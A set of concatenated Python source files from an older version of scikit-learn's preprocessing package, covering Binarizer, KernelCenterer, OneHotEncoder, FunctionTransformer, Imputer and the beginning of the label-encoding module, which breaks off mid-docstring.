    """Boolean thresholding of array-like or scipy.sparse matrix

    Read more in the :ref:`User Guide <preprocessing_binarization>`.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape [n_samples, n_features]
        The data to binarize, element by element.
        scipy.sparse matrices should be in CSR or CSC format to avoid an
        un-necessary copy.

    threshold : float, optional (0.0 by default)
        Feature values below or equal to this are replaced by 0, above it by 1.
        Threshold may not be less than 0 for operations on sparse matrices.

    copy : boolean, optional, default True
        set to False to perform inplace binarization and avoid a copy
        (if the input is already a numpy array or a scipy.sparse CSR / CSC
        matrix and if axis is 1).

    See also
    --------
    Binarizer: Performs binarization using the ``Transformer`` API
        (e.g. as part of a preprocessing :class:`sklearn.pipeline.Pipeline`).
    """
    X = check_array(X, accept_sparse=['csr', 'csc'], copy=copy)
    if sparse.issparse(X):
        if threshold < 0:
            raise ValueError('Cannot binarize a sparse matrix with threshold '
                             '< 0')
        cond = X.data > threshold
        not_cond = np.logical_not(cond)
        X.data[cond] = 1
        X.data[not_cond] = 0
        X.eliminate_zeros()
    else:
        cond = X > threshold
        not_cond = np.logical_not(cond)
        X[cond] = 1
        X[not_cond] = 0
    return X


class Binarizer(BaseEstimator, TransformerMixin):
    """Binarize data (set feature values to 0 or 1) according to a threshold

    Values greater than the threshold map to 1, while values less than
    or equal to the threshold map to 0. With the default threshold of 0,
    only positive values map to 1.

    Binarization is a common operation on text count data where the
    analyst can decide to only consider the presence or absence of a
    feature rather than a quantified number of occurrences for instance.

    It can also be used as a pre-processing step for estimators that
    consider boolean random variables (e.g. modelled using the Bernoulli
    distribution in a Bayesian setting).

    Read more in the :ref:`User Guide <preprocessing_binarization>`.

    Parameters
    ----------
    threshold : float, optional (0.0 by default)
        Feature values below or equal to this are replaced by 0, above it by 1.
        Threshold may not be less than 0 for operations on sparse matrices.

    copy : boolean, optional, default True
        set to False to perform inplace binarization and avoid a copy (if
        the input is already a numpy array or a scipy.sparse CSR matrix).

    Notes
    -----
    If the input is a sparse matrix, only the non-zero values are subject
    to update by the Binarizer class.

    This estimator is stateless (besides constructor parameters), the
    fit method does nothing but is useful when used in a pipeline.

    See also
    --------
    binarize: Equivalent function without the object oriented API.
    """

    def __init__(self, threshold=0.0, copy=True):
        self.threshold = threshold
        self.copy = copy

    def fit(self, X, y=None):
        """Do nothing and return the estimator unchanged

        This method is just there to implement the usual API and hence
        work in pipelines.
        """
        check_array(X, accept_sparse='csr')
        return self

    def transform(self, X, y=None, copy=None):
        """Binarize each element of X

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape [n_samples, n_features]
            The data to binarize, element by element.
            scipy.sparse matrices should be in CSR format to avoid an
            un-necessary copy.
        """
        copy = copy if copy is not None else self.copy
        return binarize(X, threshold=self.threshold, copy=copy)


class KernelCenterer(BaseEstimator, TransformerMixin):
    """Center a kernel matrix

    Let K(x, z) be a kernel defined by phi(x)^T phi(z), where phi is a
    function mapping x to a Hilbert space. KernelCenterer centers (i.e.,
    normalize to have zero mean) the data without explicitly computing phi(x).
    It is equivalent to centering phi(x) with
    sklearn.preprocessing.StandardScaler(with_std=False).

    Read more in the :ref:`User Guide <kernel_centering>`.
    """

    def fit(self, K, y=None):
        """Fit KernelCenterer

        Parameters
        ----------
        K : numpy array of shape [n_samples, n_samples]
            Kernel matrix.

        Returns
        -------
        self : returns an instance of self.
        """
        K = check_array(K, dtype=FLOAT_DTYPES)
        n_samples = K.shape[0]
        self.K_fit_rows_ = np.sum(K, axis=0) / n_samples
        self.K_fit_all_ = self.K_fit_rows_.sum() / n_samples
        return self

    def transform(self, K, y=None, copy=True):
        """Center kernel matrix.

        Parameters
        ----------
        K : numpy array of shape [n_samples1, n_samples2]
            Kernel matrix.

        copy : boolean, optional, default True
            Set to False to perform inplace computation.

        Returns
        -------
        K_new : numpy array of shape [n_samples1, n_samples2]
        """
        check_is_fitted(self, 'K_fit_all_')

        K = check_array(K, copy=copy, dtype=FLOAT_DTYPES)

        K_pred_cols = (np.sum(K, axis=1) /
                       self.K_fit_rows_.shape[0])[:, np.newaxis]

        K -= self.K_fit_rows_
        K -= K_pred_cols
        K += self.K_fit_all_

        return K

    @property
    def _pairwise(self):
        return True


def add_dummy_feature(X, value=1.0):
    """Augment dataset with an additional dummy feature.

    This is useful for fitting an intercept term with implementations which
    cannot otherwise fit it directly.

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape [n_samples, n_features]
        Data.

    value : float
        Value to use for the dummy feature.

    Returns
    -------

    X : {array, sparse matrix}, shape [n_samples, n_features + 1]
        Same data with dummy feature added as first column.

    Examples
    --------

    >>> from sklearn.preprocessing import add_dummy_feature
    >>> add_dummy_feature([[0, 1], [1, 0]])
    array([[ 1.,  0.,  1.],
           [ 1.,  1.,  0.]])
    """
    X = check_array(X, accept_sparse=['csc', 'csr', 'coo'], dtype=FLOAT_DTYPES)
    n_samples, n_features = X.shape
    shape = (n_samples, n_features + 1)
    if sparse.issparse(X):
        if sparse.isspmatrix_coo(X):
            # Shift columns to the right.
            col = X.col + 1
            # Column indices of dummy feature are 0 everywhere.
            col = np.concatenate((np.zeros(n_samples), col))
            # Row indices of dummy feature are 0, ..., n_samples-1.
            row = np.concatenate((np.arange(n_samples), X.row))
            # Prepend the dummy feature n_samples times.
            data = np.concatenate((np.ones(n_samples) * value, X.data))
            return sparse.coo_matrix((data, (row, col)), shape)
        elif sparse.isspmatrix_csc(X):
            # Shift index pointers since we need to add n_samples elements.
            indptr = X.indptr + n_samples
            # indptr[0] must be 0.
            indptr = np.concatenate((np.array([0]), indptr))
            # Row indices of dummy feature are 0, ..., n_samples-1.
            indices = np.concatenate((np.arange(n_samples), X.indices))
            # Prepend the dummy feature n_samples times.
            data = np.concatenate((np.ones(n_samples) * value, X.data))
            return sparse.csc_matrix((data, indices, indptr), shape)
        else:
            klass = X.__class__
            return klass(add_dummy_feature(X.tocoo(), value))
    else:
        return np.hstack((np.ones((n_samples, 1)) * value, X))


def _transform_selected(X, transform, selected="all", copy=True):
    """Apply a transform function to portion of selected features

    Parameters
    ----------
    X : {array-like, sparse matrix}, shape [n_samples, n_features]
        Dense array or sparse matrix.

    transform : callable
        A callable transform(X) -> X_transformed

    copy : boolean, optional
        Copy X even if it could be avoided.

    selected: "all" or array of indices or mask
        Specify which features to apply the transform to.

    Returns
    -------
    X : array or sparse matrix, shape=(n_samples, n_features_new)
    """
    X = check_array(X, accept_sparse='csc', copy=copy, dtype=FLOAT_DTYPES)

    if isinstance(selected, six.string_types) and selected == "all":
        return transform(X)

    if len(selected) == 0:
        return X

    n_features = X.shape[1]
    ind = np.arange(n_features)
    sel = np.zeros(n_features, dtype=bool)
    sel[np.asarray(selected)] = True
    not_sel = np.logical_not(sel)
    n_selected = np.sum(sel)

    if n_selected == 0:
        # No features selected.
        return X
    elif n_selected == n_features:
        # All features selected.
        return transform(X)
    else:
        X_sel = transform(X[:, ind[sel]])
        X_not_sel = X[:, ind[not_sel]]

        if sparse.issparse(X_sel) or sparse.issparse(X_not_sel):
            return sparse.hstack((X_sel, X_not_sel))
        else:
            return np.hstack((X_sel, X_not_sel))


class OneHotEncoder(BaseEstimator, TransformerMixin):
    """Encode categorical integer features using a one-hot aka one-of-K scheme.

    The input to this transformer should be a matrix of integers, denoting
    the values taken on by categorical (discrete) features. The output will be
    a sparse matrix where each column corresponds to one possible value of one
    feature. It is assumed that input features take on values in the range
    [0, n_values).

    This encoding is needed for feeding categorical data to many scikit-learn
    estimators, notably linear models and SVMs with the standard kernels.

    Read more in the :ref:`User Guide <preprocessing_categorical_features>`.

    Parameters
    ----------
    n_values : 'auto', int or array of ints
        Number of values per feature.

        - 'auto' : determine value range from training data.
        - int : number of categorical values per feature.
                Each feature value should be in ``range(n_values)``
        - array : ``n_values[i]`` is the number of categorical values in
                  ``X[:, i]``. Each feature value should be
                  in ``range(n_values[i])``

    categorical_features: "all" or array of indices or mask
        Specify what features are treated as categorical.

        - 'all' (default): All features are treated as categorical.
        - array of indices: Array of categorical feature indices.
        - mask: Array of length n_features and with dtype=bool.

        Non-categorical features are always stacked to the right of the matrix.

    dtype : number type, default=np.float
        Desired dtype of output.

    sparse : boolean, default=True
        Will return sparse matrix if set True else will return an array.

    handle_unknown : str, 'error' or 'ignore'
        Whether to raise an error or ignore if a unknown categorical feature is
        present during transform.

    Attributes
    ----------
    active_features_ : array
        Indices for active features, meaning values that actually occur
        in the training set. Only available when n_values is ``'auto'``.

    feature_indices_ : array of shape (n_features,)
        Indices to feature ranges.
        Feature ``i`` in the original data is mapped to features
        from ``feature_indices_[i]`` to ``feature_indices_[i+1]``
        (and then potentially masked by `active_features_` afterwards)

    n_values_ : array of shape (n_features,)
        Maximum number of values per feature.

    Examples
    --------
    Given a dataset with three features and two samples, we let the encoder
    find the maximum value per feature and transform the data to a binary
    one-hot encoding.

    >>> from sklearn.preprocessing import OneHotEncoder
    >>> enc = OneHotEncoder()
    >>> enc.fit([[0, 0, 3], [1, 1, 0], [0, 2, 1], \
[1, 0, 2]])  # doctest: +ELLIPSIS
    OneHotEncoder(categorical_features='all', dtype=<... 'numpy.float64'>,
           handle_unknown='error', n_values='auto', sparse=True)
    >>> enc.n_values_
    array([2, 3, 4])
    >>> enc.feature_indices_
    array([0, 2, 5, 9])
    >>> enc.transform([[0, 1, 1]]).toarray()
    array([[ 1.,  0.,  0.,  1.,  0.,  0.,  1.,  0.,  0.]])

    See also
    --------
    sklearn.feature_extraction.DictVectorizer : performs a one-hot encoding of
      dictionary items (also handles string-valued features).
    sklearn.feature_extraction.FeatureHasher : performs an approximate one-hot
      encoding of dictionary items or strings.
    """
    def __init__(self, n_values="auto", categorical_features="all",
                 dtype=np.float64, sparse=True, handle_unknown='error'):
        self.n_values = n_values
        self.categorical_features = categorical_features
        self.dtype = dtype
        self.sparse = sparse
        self.handle_unknown = handle_unknown

    def fit(self, X, y=None):
        """Fit OneHotEncoder to X.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_feature]
            Input array of type int.

        Returns
        -------
        self
        """
        self.fit_transform(X)
        return self

    def _fit_transform(self, X):
        """Assumes X contains only categorical features."""
        X = check_array(X, dtype=np.int)
        if np.any(X < 0):
            raise ValueError("X needs to contain only non-negative integers.")
        n_samples, n_features = X.shape
        if (isinstance(self.n_values, six.string_types) and
                self.n_values == 'auto'):
            n_values = np.max(X, axis=0) + 1
        elif isinstance(self.n_values, numbers.Integral):
            if (np.max(X, axis=0) >= self.n_values).any():
                raise ValueError("Feature out of bounds for n_values=%d"
                                 % self.n_values)
            n_values = np.empty(n_features, dtype=np.int)
            n_values.fill(self.n_values)
        else:
            try:
                n_values = np.asarray(self.n_values, dtype=int)
            except (ValueError, TypeError):
                raise TypeError("Wrong type for parameter `n_values`. Expected"
                                " 'auto', int or array of ints, got %r"
                                % type(X))
            if n_values.ndim < 1 or n_values.shape[0] != X.shape[1]:
                raise ValueError("Shape mismatch: if n_values is an array,"
                                 " it has to be of shape (n_features,).")

        self.n_values_ = n_values
        n_values = np.hstack([[0], n_values])
        indices = np.cumsum(n_values)
        self.feature_indices_ = indices

        column_indices = (X + indices[:-1]).ravel()
        row_indices = np.repeat(np.arange(n_samples, dtype=np.int32),
                                n_features)
        data = np.ones(n_samples * n_features)
        out = sparse.coo_matrix((data, (row_indices, column_indices)),
                                shape=(n_samples, indices[-1]),
                                dtype=self.dtype).tocsr()

        if (isinstance(self.n_values, six.string_types) and
                self.n_values == 'auto'):
            mask = np.array(out.sum(axis=0)).ravel() != 0
            active_features = np.where(mask)[0]
            out = out[:, active_features]
            self.active_features_ = active_features

        return out if self.sparse else out.toarray()

    def fit_transform(self, X, y=None):
        """Fit OneHotEncoder to X, then transform X.

        Equivalent to self.fit(X).transform(X), but more convenient and more
        efficient. See fit for the parameters, transform for the return value.
        """
        return _transform_selected(X, self._fit_transform,
                                   self.categorical_features, copy=True)

    def _transform(self, X):
        """Assumes X contains only categorical features."""
        X = check_array(X, dtype=np.int)
        if np.any(X < 0):
            raise ValueError("X needs to contain only non-negative integers.")
        n_samples, n_features = X.shape

        indices = self.feature_indices_
        if n_features != indices.shape[0] - 1:
            raise ValueError("X has different shape than during fitting."
                             " Expected %d, got %d."
                             % (indices.shape[0] - 1, n_features))

        # We use only those categorical features of X that are known using fit.
        # i.e lesser than n_values_ using mask.
        # This means, if self.handle_unknown is "ignore", the row_indices and
        # col_indices corresponding to the unknown categorical feature are
        # ignored.
        mask = (X < self.n_values_).ravel()
        if np.any(~mask):
            if self.handle_unknown not in ['error', 'ignore']:
                raise ValueError("handle_unknown should be either error or "
                                 "unknown got %s" % self.handle_unknown)
            if self.handle_unknown == 'error':
                raise ValueError("unknown categorical feature present %s "
                                 "during transform." % X.ravel()[~mask])

        column_indices = (X + indices[:-1]).ravel()[mask]
        row_indices = np.repeat(np.arange(n_samples, dtype=np.int32),
                                n_features)[mask]
        data = np.ones(np.sum(mask))
        out = sparse.coo_matrix((data, (row_indices, column_indices)),
                                shape=(n_samples, indices[-1]),
                                dtype=self.dtype).tocsr()
        if (isinstance(self.n_values, six.string_types) and
                self.n_values == 'auto'):
            out = out[:, self.active_features_]

        return out if self.sparse else out.toarray()

    def transform(self, X):
        """Transform X using one-hot encoding.

        Parameters
        ----------
        X : array-like, shape [n_samples, n_features]
            Input array of type int.

        Returns
        -------
        X_out : sparse matrix if sparse=True else a 2-d array, dtype=int
            Transformed input.
        """
        return _transform_selected(X, self._transform,
                                   self.categorical_features, copy=True)






"""
The :mod:`sklearn.preprocessing` module includes scaling, centering,
normalization, binarization and imputation methods.
"""

from ._function_transformer import FunctionTransformer

from .data import Binarizer
from .data import KernelCenterer
from .data import MinMaxScaler
from .data import MaxAbsScaler
from .data import Normalizer
from .data import RobustScaler
from .data import StandardScaler
from .data import add_dummy_feature
from .data import binarize
from .data import normalize
from .data import scale
from .data import robust_scale
from .data import maxabs_scale
from .data import minmax_scale
from .data import OneHotEncoder

from .data import PolynomialFeatures

from .label import label_binarize
from .label import LabelBinarizer
from .label import LabelEncoder
from .label import MultiLabelBinarizer

from .imputation import Imputer


__all__ = [
    'Binarizer',
    'FunctionTransformer',
    'Imputer',
    'KernelCenterer',
    'LabelBinarizer',
    'LabelEncoder',
    'MultiLabelBinarizer',
    'MinMaxScaler',
    'MaxAbsScaler',
    'Normalizer',
    'OneHotEncoder',
    'RobustScaler',
    'StandardScaler',
    'add_dummy_feature',
    'PolynomialFeatures',
    'binarize',
    'normalize',
    'scale',
    'robust_scale',
    'maxabs_scale',
    'minmax_scale',
    'label_binarize',
]






from ..base import BaseEstimator, TransformerMixin
from ..utils import check_array


def _identity(X):
    """The identity function.
    """
    return X


class FunctionTransformer(BaseEstimator, TransformerMixin):
    """Constructs a transformer from an arbitrary callable.

    A FunctionTransformer forwards its X (and optionally y) arguments to a
    user-defined function or function object and returns the result of this
    function. This is useful for stateless transformations such as taking the
    log of frequencies, doing custom scaling, etc.

    A FunctionTransformer will not do any checks on its function's output.

    Note: If a lambda is used as the function, then the resulting
    transformer will not be pickleable.

    .. versionadded:: 0.17

    Parameters
    ----------
    func : callable, optional default=None
        The callable to use for the transformation. This will be passed
        the same arguments as transform, with args and kwargs forwarded.
        If func is None, then func will be the identity function.

    inverse_func : callable, optional default=None
        The callable to use for the inverse transformation. This will be
        passed the same arguments as inverse transform, with args and
        kwargs forwarded. If inverse_func is None, then inverse_func
        will be the identity function.

    validate : bool, optional default=True
        Indicate that the input X array should be checked before calling
        func. If validate is false, there will be no input validation.
        If it is true, then X will be converted to a 2-dimensional NumPy
        array or sparse matrix. If this conversion is not possible or X
        contains NaN or infinity, an exception is raised.

    accept_sparse : boolean, optional
        Indicate that func accepts a sparse matrix as input. If validate is
        False, this has no effect. Otherwise, if accept_sparse is false,
        sparse matrix inputs will cause an exception to be raised.

    pass_y: bool, optional default=False
        Indicate that transform should forward the y argument to the
        inner callable.

    kw_args : dict, optional
        Dictionary of additional keyword arguments to pass to func.

    inv_kw_args : dict, optional
        Dictionary of additional keyword arguments to pass to inverse_func.

    """
    def __init__(self, func=None, inverse_func=None, validate=True,
                 accept_sparse=False, pass_y=False,
                 kw_args=None, inv_kw_args=None):
        self.func = func
        self.inverse_func = inverse_func
        self.validate = validate
        self.accept_sparse = accept_sparse
        self.pass_y = pass_y
        self.kw_args = kw_args
        self.inv_kw_args = inv_kw_args

    def fit(self, X, y=None):
        if self.validate:
            check_array(X, self.accept_sparse)
        return self

    def transform(self, X, y=None):
        return self._transform(X, y, self.func, self.kw_args)

    def inverse_transform(self, X, y=None):
        return self._transform(X, y, self.inverse_func, self.inv_kw_args)

    def _transform(self, X, y=None, func=None, kw_args=None):
        if self.validate:
            X = check_array(X, self.accept_sparse)

        if func is None:
            func = _identity

        return func(X, *((y,) if self.pass_y else ()),
                    **(kw_args if kw_args else {}))






# Authors: Nicolas Tresegnie <nicolas.tresegnie@gmail.com>
# License: BSD 3 clause

import warnings

import numpy as np
import numpy.ma as ma
from scipy import sparse
from scipy import stats

from ..base import BaseEstimator, TransformerMixin
from ..utils import check_array
from ..utils import safe_mask
from ..utils.fixes import astype
from ..utils.sparsefuncs import _get_median
from ..utils.validation import check_is_fitted
from ..utils.validation import FLOAT_DTYPES

from ..externals import six

zip = six.moves.zip
map = six.moves.map

__all__ = [
    'Imputer',
]


def _get_mask(X, value_to_mask):
    """Compute the boolean mask X == missing_values."""
    if value_to_mask == "NaN" or np.isnan(value_to_mask):
        return np.isnan(X)
    else:
        return X == value_to_mask


def _most_frequent(array, extra_value, n_repeat):
    """Compute the most frequent value in a 1d array extended with
       [extra_value] * n_repeat, where extra_value is assumed to be not part
       of the array."""
    # Compute the most frequent value in array only
    if array.size > 0:
        mode = stats.mode(array)
        most_frequent_value = mode[0][0]
        most_frequent_count = mode[1][0]
    else:
        most_frequent_value = 0
        most_frequent_count = 0

    # Compare to array + [extra_value] * n_repeat
    if most_frequent_count == 0 and n_repeat == 0:
        return np.nan
    elif most_frequent_count < n_repeat:
        return extra_value
    elif most_frequent_count > n_repeat:
        return most_frequent_value
    elif most_frequent_count == n_repeat:
        # Ties the breaks. Copy the behaviour of scipy.stats.mode
        if most_frequent_value < extra_value:
            return most_frequent_value
        else:
            return extra_value


class Imputer(BaseEstimator, TransformerMixin):
    """Imputation transformer for completing missing values.

    Read more in the :ref:`User Guide <imputation>`.

    Parameters
    ----------
    missing_values : integer or "NaN", optional (default="NaN")
        The placeholder for the missing values. All occurrences of
        `missing_values` will be imputed. For missing values encoded as np.nan,
        use the string value "NaN".

    strategy : string, optional (default="mean")
        The imputation strategy.

        - If "mean", then replace missing values using the mean along
          the axis.
        - If "median", then replace missing values using the median along
          the axis.
        - If "most_frequent", then replace missing using the most frequent
          value along the axis.

    axis : integer, optional (default=0)
        The axis along which to impute.

        - If `axis=0`, then impute along columns.
        - If `axis=1`, then impute along rows.

    verbose : integer, optional (default=0)
        Controls the verbosity of the imputer.

    copy : boolean, optional (default=True)
        If True, a copy of X will be created. If False, imputation will
        be done in-place whenever possible. Note that, in the following cases,
        a new copy will always be made, even if `copy=False`:

        - If X is not an array of floating values;
        - If X is sparse and `missing_values=0`;
        - If `axis=0` and X is encoded as a CSR matrix;
        - If `axis=1` and X is encoded as a CSC matrix.

    add_indicator_features : boolean, optional (default=False)
        If True, the transformed ``X`` will have binary indicator features
        appended. These correspond to input features with at least one
        missing value marking which elements have been imputed.

    Attributes
    ----------
    statistics_ : array of shape (n_features,)
        The imputation fill value for each feature if axis == 0.

    imputed_features_ : array of shape (n_features_with_missing, )
        The input features which have been imputed during transform.
        The size of this attribute will be the number of features with
        at least one missing value (and fewer than all in the axis=0 case).

    Notes
    -----
    - When ``axis=0``, columns which only contained missing values at `fit`
      are discarded upon `transform`.
    - When ``axis=1``, an exception is raised if there are rows for which it is
      not possible to fill in the missing values (e.g., because they only
      contain missing values).
    """
    def __init__(self, missing_values="NaN", strategy="mean",
                 axis=0, verbose=0, copy=True, add_indicator_features=False):
        self.missing_values = missing_values
        self.strategy = strategy
        self.axis = axis
        self.verbose = verbose
        self.copy = copy
        self.add_indicator_features = add_indicator_features

    def fit(self, X, y=None):
        """Fit the imputer on X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Input data, where ``n_samples`` is the number of samples and
            ``n_features`` is the number of features.

        Returns
        -------
        self : object
            Returns self.
        """
        # Check parameters
        allowed_strategies = ["mean", "median", "most_frequent"]
        if self.strategy not in allowed_strategies:
            raise ValueError("Can only use these strategies: {0} "
                             " got strategy={1}".format(allowed_strategies,
                                                        self.strategy))

        if self.axis not in [0, 1]:
            raise ValueError("Can only impute missing values on axis 0 and 1, "
                             " got axis={0}".format(self.axis))

        # Since two different arrays can be provided in fit(X) and
        # transform(X), the imputation data will be computed in transform()
        # when the imputation is done per sample (i.e., when axis=1).
        if self.axis == 0:
            X = check_array(X, accept_sparse='csc', dtype=np.float64,
                            force_all_finite=False)

            if sparse.issparse(X):
                self.statistics_ = self._sparse_fit(X,
                                                    self.strategy,
                                                    self.missing_values,
                                                    self.axis)
            else:
                self.statistics_ = self._dense_fit(X,
                                                   self.strategy,
                                                   self.missing_values,
                                                   self.axis)

        return self

    def _sparse_fit(self, X, strategy, missing_values, axis):
        """Fit the transformer on sparse data."""
        # Imputation is done "by column", so if we want to do it
        # by row we only need to convert the matrix to csr format.
        if axis == 1:
            X = X.tocsr()
        else:
            X = X.tocsc()

        # Count the zeros
        if missing_values == 0:
            n_zeros_axis = np.zeros(X.shape[not axis], dtype=int)
        else:
            n_zeros_axis = X.shape[axis] - np.diff(X.indptr)

        # Mean
        if strategy == "mean":
            if missing_values != 0:
                n_non_missing = n_zeros_axis

                # Mask the missing elements
                mask_missing_values = _get_mask(X.data, missing_values)
                mask_valids = np.logical_not(mask_missing_values)

                # Sum only the valid elements
                new_data = X.data.copy()
                new_data[mask_missing_values] = 0
                X = sparse.csc_matrix((new_data, X.indices, X.indptr),
                                      copy=False)
                sums = X.sum(axis=0)

                # Count the elements != 0
                mask_non_zeros = sparse.csc_matrix(
                    (mask_valids.astype(np.float64),
                     X.indices,
                     X.indptr), copy=False)
                s = mask_non_zeros.sum(axis=0)
                n_non_missing = np.add(n_non_missing, s)

            else:
                sums = X.sum(axis=axis)
                n_non_missing = np.diff(X.indptr)

            # Ignore the error, columns with a np.nan statistics_
            # are not an error at this point. These columns will
            # be removed in transform
            with np.errstate(all="ignore"):
                return np.ravel(sums) / np.ravel(n_non_missing)

        # Median + Most frequent
        else:
            # Remove the missing values, for each column
            columns_all = np.hsplit(X.data, X.indptr[1:-1])
            mask_missing_values = _get_mask(X.data, missing_values)
            mask_valids = np.hsplit(np.logical_not(mask_missing_values),
                                    X.indptr[1:-1])

            # astype necessary for bug in numpy.hsplit before v1.9
            columns = [col[astype(mask, bool, copy=False)]
                       for col, mask in zip(columns_all, mask_valids)]

            # Median
            if strategy == "median":
                median = np.empty(len(columns))
                for i, column in enumerate(columns):
                    median[i] = _get_median(column, n_zeros_axis[i])

                return median

            # Most frequent
            elif strategy == "most_frequent":
                most_frequent = np.empty(len(columns))

                for i, column in enumerate(columns):
                    most_frequent[i] = _most_frequent(column,
                                                      0,
                                                      n_zeros_axis[i])

                return most_frequent

    def _dense_fit(self, X, strategy, missing_values, axis):
        """Fit the transformer on dense data."""
        X = check_array(X, force_all_finite=False)
        mask = _get_mask(X, missing_values)
        masked_X = ma.masked_array(X, mask=mask)

        # Mean
        if strategy == "mean":
            mean_masked = np.ma.mean(masked_X, axis=axis)
            # Avoid the warning "Warning: converting a masked element to nan."
            mean = np.ma.getdata(mean_masked)
            mean[np.ma.getmask(mean_masked)] = np.nan

            return mean

        # Median
        elif strategy == "median":
            if tuple(int(v) for v in np.__version__.split('.')[:2]) < (1, 5):
                # In old versions of numpy, calling a median on an array
                # containing nans returns nan. This is different is
                # recent versions of numpy, which we want to mimic
                masked_X.mask = np.logical_or(masked_X.mask,
                                              np.isnan(X))
            median_masked = np.ma.median(masked_X, axis=axis)
            # Avoid the warning "Warning: converting a masked element to nan."
            median = np.ma.getdata(median_masked)
            median[np.ma.getmaskarray(median_masked)] = np.nan

            return median

        # Most frequent
        elif strategy == "most_frequent":
            # scipy.stats.mstats.mode cannot be used because it will no work
            # properly if the first element is masked and if its frequency
            # is equal to the frequency of the most frequent valid element
            # See https://github.com/scipy/scipy/issues/2636

            # To be able access the elements by columns
            if axis == 0:
                X = X.transpose()
                mask = mask.transpose()

            most_frequent = np.empty(X.shape[0])

            for i, (row, row_mask) in enumerate(zip(X[:], mask[:])):
                row_mask = np.logical_not(row_mask).astype(np.bool)
                row = row[row_mask]
                most_frequent[i] = _most_frequent(row, np.nan, 0)

            return most_frequent

    def _sparse_transform(self, X, valid_stats, valid_idx):
        """transformer on sparse data."""
        mask = _get_mask(X.data, self.missing_values)
        indexes = np.repeat(np.arange(len(X.indptr) - 1, dtype=np.int),
                            np.diff(X.indptr))[mask]

        X.data[mask] = astype(valid_stats[indexes], X.dtype,
                              copy=False)

        mask_matrix = X.__class__((mask, X.indices.copy(),
                                  X.indptr.copy()), shape=X.shape,
                                  dtype=X.dtype)
        mask_matrix.eliminate_zeros()  # removes explicit False entries
        features_with_missing_values = mask_matrix.sum(axis=0).A.nonzero()[1]
        features_mask = safe_mask(mask_matrix, features_with_missing_values)
        imputed_mask = mask_matrix[:, features_mask]
        if self.axis == 0:
            self.imputed_features_ = valid_idx[features_with_missing_values]
        else:
            self.imputed_features_ = features_with_missing_values

        if self.add_indicator_features:
            X = sparse.hstack((X, imputed_mask))

        return X

    def _dense_transform(self, X, valid_stats, valid_idx):
        """transformer on dense data."""
        mask = _get_mask(X, self.missing_values)
        n_missing = np.sum(mask, axis=self.axis)
        values = np.repeat(valid_stats, n_missing)

        if self.axis == 0:
            coordinates = np.where(mask.transpose())[::-1]
        else:
            coordinates = mask

        X[coordinates] = values

        features_with_missing_values = np.where(np.any
                                                (mask, axis=0))[0]
        imputed_mask = mask[:, features_with_missing_values]
        if self.axis == 0:
            self.imputed_features_ = valid_idx[features_with_missing_values]
        else:
            self.imputed_features_ = features_with_missing_values

        if self.add_indicator_features:
            X = np.hstack((X, imputed_mask))

        return X

    def transform(self, X):
        """Impute all missing values in X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = (n_samples, n_features)
            The input data to complete.

        Return
        ------
        X_new : {array-like, sparse matrix},
                Transformed array.
                shape (n_samples, n_features_new) when
                ``add_indicator_features`` is False,
                shape (n_samples, n_features_new + len(imputed_features_)
                when ``add_indicator_features`` is True.
        """
        if self.axis == 0:
            check_is_fitted(self, 'statistics_')

        # Since two different arrays can be provided in fit(X) and
        # transform(X), the imputation data need to be recomputed
        # when the imputation is done per sample
        if self.axis == 1:
            X = check_array(X, accept_sparse='csr', dtype=FLOAT_DTYPES,
                            force_all_finite=False, copy=self.copy)

            if sparse.issparse(X):
                statistics = self._sparse_fit(X,
                                              self.strategy,
                                              self.missing_values,
                                              self.axis)

            else:
                statistics = self._dense_fit(X,
                                             self.strategy,
                                             self.missing_values,
                                             self.axis)
        else:
            X = check_array(X, accept_sparse='csc', dtype=FLOAT_DTYPES,
                            force_all_finite=False, copy=self.copy)
            statistics = self.statistics_

        # Delete the invalid rows/columns
        invalid_mask = np.isnan(statistics)
        valid_mask = np.logical_not(invalid_mask)
        valid_statistics = statistics[valid_mask]
        valid_idx = np.where(valid_mask)[0]
        missing = np.arange(X.shape[not self.axis])[invalid_mask]

        if self.axis == 0 and invalid_mask.any():
            if self.verbose:
                warnings.warn("Deleting features without "
                              "observed values: %s" % missing)
            X = X[:, valid_idx]
        elif self.axis == 1 and invalid_mask.any():
            raise ValueError("Some rows only contain "
                             "missing values: %s" % missing)

        # Do actual imputation
        if sparse.issparse(X) and self.missing_values != 0:
            # sparse matrix and missing values is not zero
            X = self._sparse_transform(X, valid_statistics, valid_idx)
        else:
            # sparse with zero as missing value and dense matrix
            if sparse.issparse(X):
                X = X.toarray()

            X = self._dense_transform(X, valid_statistics, valid_idx)

        return X






# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Mathieu Blondel <mathieu@mblondel.org>
#          Olivier Grisel <olivier.grisel@ensta.org>
#          Andreas Mueller <amueller@ais.uni-bonn.de>
#          Joel Nothman <joel.nothman@gmail.com>
#          Hamzeh Alsalhi <ha258@cornell.edu>
# License: BSD 3 clause

from collections import defaultdict
import itertools
import array

import numpy as np
import scipy.sparse as sp

from ..base import BaseEstimator, TransformerMixin

from ..utils.fixes import np_version
from ..utils.fixes import sparse_min_max
from ..utils.fixes import astype
from ..utils.fixes import in1d
from ..utils import column_or_1d
from ..utils.validation import check_array
from ..utils.validation import check_is_fitted
from ..utils.validation import _num_samples
from ..utils.multiclass import unique_labels
from ..utils.multiclass import type_of_target

from ..externals import six

zip = six.moves.zip
map = six.moves.map

__all__ = [
    'label_binarize',
    'LabelBinarizer',
    'LabelEncoder',
    'MultiLabelBinarizer',
]


def _check_numpy_unicode_bug(labels):
    """Check that user is not subject to an old numpy bug

    Fixed in master before 1.7.0:

      https://github.com/numpy/numpy/pull/243

    """
    if np_version[:3] < (1, 7, 0) and labels.dtype.kind == 'U':
        raise RuntimeError("NumPy < 1.7.0 does not implement searchsorted"
                           " on unicode data correctly. Please upgrade"
                           " NumPy to use LabelEncoder with unicode inputs.")


class LabelEncoder(BaseEstimator, TransformerMixin):
    """Encode labels with value between 0 and n_classes-1.

    Read more in the :ref:`User Guide <preprocessing_targets>`.

    Attributes
    ----------
    classes_ : array of shape (n_class,)
        Holds the label for each class.

    Examples
    --------
    `LabelEncoder` can be used to normalize labels.

    >>> from sklearn import preprocessing
    >>> le = preprocessing.LabelEncoder()
    >>> le.fit([1, 2, 2, 6])
    LabelEncoder()
